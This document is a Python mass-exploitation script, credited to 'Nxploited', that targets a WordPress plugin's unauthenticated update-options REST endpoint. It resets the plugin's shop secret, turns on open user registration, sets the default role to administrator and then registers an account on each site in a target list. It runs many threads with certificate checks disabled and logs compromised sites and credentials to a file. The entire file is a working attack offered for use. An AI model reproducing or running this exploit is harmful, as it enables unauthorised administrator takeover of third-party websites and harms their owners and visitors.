#!/usr/bin/env python3 # By: Nxploited import sys import re import threading from queue import Queue from typing import List, Tuple import requests from rich.console import Console from rich.panel import Panel from rich.text import Text from rich.table import Table from rich.live import Live from rich.align import Align from rich import box try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: pass requests.packages.urllib3.disable_warnings() console = Console() SESSION = requests.Session() SESSION.verify = False RESULT_FILE = "Login_admin.txt" USER_AGENT = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/122.0.0.0 Safari/537.36" ) SHOP_SECRET_FIELD = "shop_secret" ACTION_RESET = "resetStoreConfigrations" ACTION_OPTION = "createUpdateOption" KEY_REGISTER = "users_can_register" VAL_REGISTER = "1" KEY_ROLE = "default_role" VAL_ROLE = "administrator" WP_REG_ACTION = "wp-login.php?action=register" SUCCESS_RESET_PATTERN = re.compile( r"app secret key has been updated successfully", re.I ) SUCCESS_OPTION_PATTERN = re.compile( r"wordpress option has been created or updated successfully", re.I ) REGISTER_OPEN_PATTERN = re.compile( r"Users can register|Anyone can register|user\_registration|registerform", re.I ) def render_banner() -> Panel: art = r""" . . . . . ,---, ,-. |\ | | o | | / | \ | \| . , ;-. | ,-. . |- ,-. ,-| --- / ,-. ;-. ,-. --- | | | | X | | | | | | | |-' | | / |-' | | | | / ' ' ' ` |-' ' `-' ' `-' `-' `-' '---' `-' ' `-' `-' ' """ header = Text(art, justify="center", style="bold magenta") sub = Text( "By: Nxploited (Nxploited ZeroDay Hub) | Contact: @Kxploit", style="bold white", justify="center", ) info = Text( "Flow: resetStoreConfigrations -> users_can_register=1 -> default_role=administrator -> auto register user\n" "Output: Login_admin.txt | Register: http(s)://target/wp-login.php?action=register", style="italic bright_black", justify="center", ) combined = Text.assemble(header, "\n", sub, "\n\n", info) return Panel( Align.center(combined), border_style="white", box=box.HEAVY, padding=(1, 4), ) def prompt_targets_file() -> str: val = console.input( "[bold cyan]Targets file (one host/URL per line)[/bold cyan] [list.txt]: " ).strip() return val if val else "list.txt" def prompt_threads() -> int: while True: val = console.input("[bold cyan]Threads (1-50)[/bold cyan] [10]: ").strip() if not val: return 10 try: n = int(val) if n < 1: console.print("[red]Threads must be at least 1[/red]") else: return 50 if n > 50 else n except Exception: console.print("[red]Enter a valid integer[/red]") def prompt_secret() -> str: val = console.input( "[bold cyan]shop_secret[/bold cyan] [Nxploited_newSecret]: " ).strip() return val if val else "Nxploited_newSecret" def prompt_registration_creds() -> Tuple[str, str, str]: username = console.input( "[bold cyan]Registration username[/bold cyan] [Nx_test1]: " ).strip() or "Nx_test1" email = console.input( "[bold cyan]Registration email[/bold cyan] [nxploited1@gmail.com]: " ).strip() or "nxploited1@gmail.com" password = console.input( "[bold cyan]Registration password[/bold cyan] [Nx_adminSA]: " ).strip() or "Nx_adminSA" return username, email, password def normalize_site(raw: str) -> str: raw = raw.strip() if not raw: return raw if not raw.startswith(("http://", "https://")): raw = "http://" + raw return raw.rstrip("/") def build_headers(referer: str) -> dict: return { "User-Agent": USER_AGENT, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.9", "Content-Type": "application/x-www-form-urlencoded", "Referer": referer, } def send_reset_secret(site: str, secret: str, timeout: int = 10) -> Tuple[bool, str]: url = f"{site.rstrip('/')}/wp-json/gsf/v1/update-options" data = { "action": ACTION_RESET, SHOP_SECRET_FIELD: secret, } try: r = SESSION.post(url, data=data, headers=build_headers(url), timeout=timeout) except Exception as e: return False, f"reset_error:{e}" body = r.text or "" if SUCCESS_RESET_PATTERN.search(body): return True, "reset_ok" return False, f"reset_fail(status={r.status_code})" def send_option( site: str, secret: str, key: str, value: str, timeout: int = 10, ) -> Tuple[bool, str]: url = f"{site.rstrip('/')}/wp-json/gsf/v1/update-options" data = { "action": ACTION_OPTION, SHOP_SECRET_FIELD: secret, "option_key": key, "option_value": value, } try: r = SESSION.post(url, data=data, headers=build_headers(url), timeout=timeout) except Exception as e: return False, f"option_error:{e}" body = r.text or "" if SUCCESS_OPTION_PATTERN.search(body): return True, "option_ok" return False, f"option_fail(status={r.status_code})" def build_register_url(site: str) -> str: return f"{site.rstrip('/')}/{WP_REG_ACTION}" def check_registration_open(site: str, timeout: int = 10) -> Tuple[bool, str]: url = build_register_url(site) try: r = SESSION.get( url, headers={"User-Agent": USER_AGENT, "Referer": site}, timeout=timeout, verify=False, ) except Exception as e: return False, f"reg_check_error:{e}" body = r.text or "" if r.status_code == 200 and REGISTER_OPEN_PATTERN.search(body): return True, "register_open" if "user registration is currently not allowed" in body.lower(): return False, "register_closed" return False, f"reg_unknown(status={r.status_code})" def try_register_user( site: str, username: str, email: str, password: str, timeout: int = 10, ) -> Tuple[bool, str]: url = build_register_url(site) try: r_get = SESSION.get( url, headers={"User-Agent": USER_AGENT, "Referer": site}, timeout=timeout, verify=False, ) except Exception as e: return False, f"reg_form_error:{e}" body = r_get.text or "" nonce_match = re.search( r']+name=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']', body, re.I, ) nonce = nonce_match.group(1) if nonce_match else "" data = { "user_login": username, "user_email": email, } if "user_pass" in body or "password" in body.lower(): data["user_pass"] = password data["user_pass2"] = password data["_wpnonce"] = nonce data["_wp_http_referer"] = "/wp-login.php?action=register" data["redirect_to"] = "" data["wp-submit"] = "Register" try: r_post = SESSION.post( url, data=data, headers=build_headers(url), timeout=timeout, verify=False, ) except Exception as e: return False, f"reg_post_error:{e}" txt = (r_post.text or "").lower() if any(s in txt for s in ["registration complete", "check your email", "user registered"]): return True, f"registered user={username} email={email} pass={password}" if "username" in txt and "already" in txt and "exists" in txt: return True, "user_already_exists" return False, "reg_unknown_response" def write_success_line(site: str, secret: str, detail: str) -> None: reg_url = build_register_url(site) line = f"{site} | register_url: {reg_url} | shop_secret: {secret} | {detail}\n" with open(RESULT_FILE, "a", encoding="utf-8") as f: f.write(line) def worker( sites: List[str], queue: Queue, timeout: int, fixed_secret: str, reg_username: str, reg_email: str, reg_password: str, ) -> None: for raw_site in sites: site = normalize_site(raw_site) if not site: continue label = site secret = fixed_secret try: ok_reset, detail_reset = send_reset_secret(site, secret, timeout=timeout) if not ok_reset: queue.put(("fail", label, f"{detail_reset}")) continue ok_regopt, detail_regopt = send_option( site, secret, KEY_REGISTER, VAL_REGISTER, timeout=timeout ) ok_roleopt, detail_roleopt = send_option( site, secret, KEY_ROLE, VAL_ROLE, timeout=timeout ) if not (ok_regopt or ok_roleopt): queue.put( ( "fail", label, f"{detail_regopt} | {detail_roleopt}", ) ) continue reg_open, detail_open = check_registration_open(site, timeout=timeout) if not reg_open: write_success_line( site, secret, f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open}", ) queue.put( ( "success", label, f"options_set (no_register) (secret={secret})", ) ) continue ok_reguser, detail_reguser = try_register_user( site, reg_username, reg_email, reg_password, timeout=timeout, ) if ok_reguser: write_success_line( site, secret, f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open},{detail_reguser}", ) queue.put( ( "success", label, f"options_set + user_registered (secret={secret})", ) ) else: write_success_line( site, secret, f"{detail_reset},{detail_regopt},{detail_roleopt},{detail_open},reg_fail:{detail_reguser}", ) queue.put( ( "success", label, f"options_set (reg_attempt_failed) (secret={secret})", ) ) except Exception as e: queue.put(("error", label, f"exception:{e}")) def chunkify(lst: List[str], n: int) -> List[List[str]]: if n <= 0: n = 1 return [lst[i::n] for i in range(n)] def printer_loop(queue: Queue, total: int) -> None: table = Table( expand=True, show_lines=False, header_style="bold white", ) table.add_column("#", justify="right", width=4) table.add_column("Site", justify="left") table.add_column("Status", justify="center", width=16) table.add_column("Detail", justify="left") processed = 0 rows: List[Tuple[str, str, str, str]] = [] with Live(Align.center(table), console=console, refresh_per_second=8) as live: while True: item = queue.get() if item is None: break typ, site, detail = item processed += 1 idx = len(rows) + 1 if typ == "success": status_text = "[green]SUCCESS[/green]" elif typ == "error": status_text = "[yellow]ERROR[/yellow]" else: status_text = "[red]FAILED[/red]" rows.append((str(idx), site, status_text, detail)) table = Table( expand=True, show_lines=False, header_style="bold white", ) table.add_column("#", justify="right", width=4) table.add_column("Site", justify="left") table.add_column("Status", justify="center", width=16) table.add_column("Detail", justify="left") for r in rows: table.add_row(*r) footer = Text( f"Processed {processed}/{total} targets · Output: {RESULT_FILE}", style="italic bright_black", ) panel = Panel( Align.center(table), border_style="white", box=box.SQUARE, title="[bold cyan]gsf · users_can_register=1 · default_role=administrator[/bold cyan]", subtitle_align="right", subtitle=footer, ) live.update(panel) def main() -> None: console.clear() console.print(render_banner()) targets_file = prompt_targets_file() threads_count = prompt_threads() timeout = 8 fixed_secret = prompt_secret() reg_username, reg_email, reg_password = prompt_registration_creds() try: with open(targets_file, "r", encoding="utf-8") as f: targets = [line.strip() for line in f if line.strip()] except FileNotFoundError: console.print(f"[bold red]Targets file not found: {targets_file}[/bold red]") sys.exit(1) if not targets: console.print("[bold red]Targets list is empty.[/bold red]") sys.exit(1) n_threads = min(threads_count, len(targets)) chunks = chunkify(targets, n_threads) queue: Queue = Queue() printer = threading.Thread( target=printer_loop, args=(queue, len(targets)), daemon=True ) printer.start() workers: List[threading.Thread] = [] for chunk in chunks: t = threading.Thread( target=worker, args=(chunk, queue, timeout, fixed_secret, reg_username, reg_email, reg_password), daemon=True, ) t.start() workers.append(t) for t in workers: t.join() queue.put(None) printer.join() console.print( f"\n[bold green]Done.[/bold green] Successful sites (if any) saved to [bold]{RESULT_FILE}[/bold]." ) if __name__ == "__main__": main()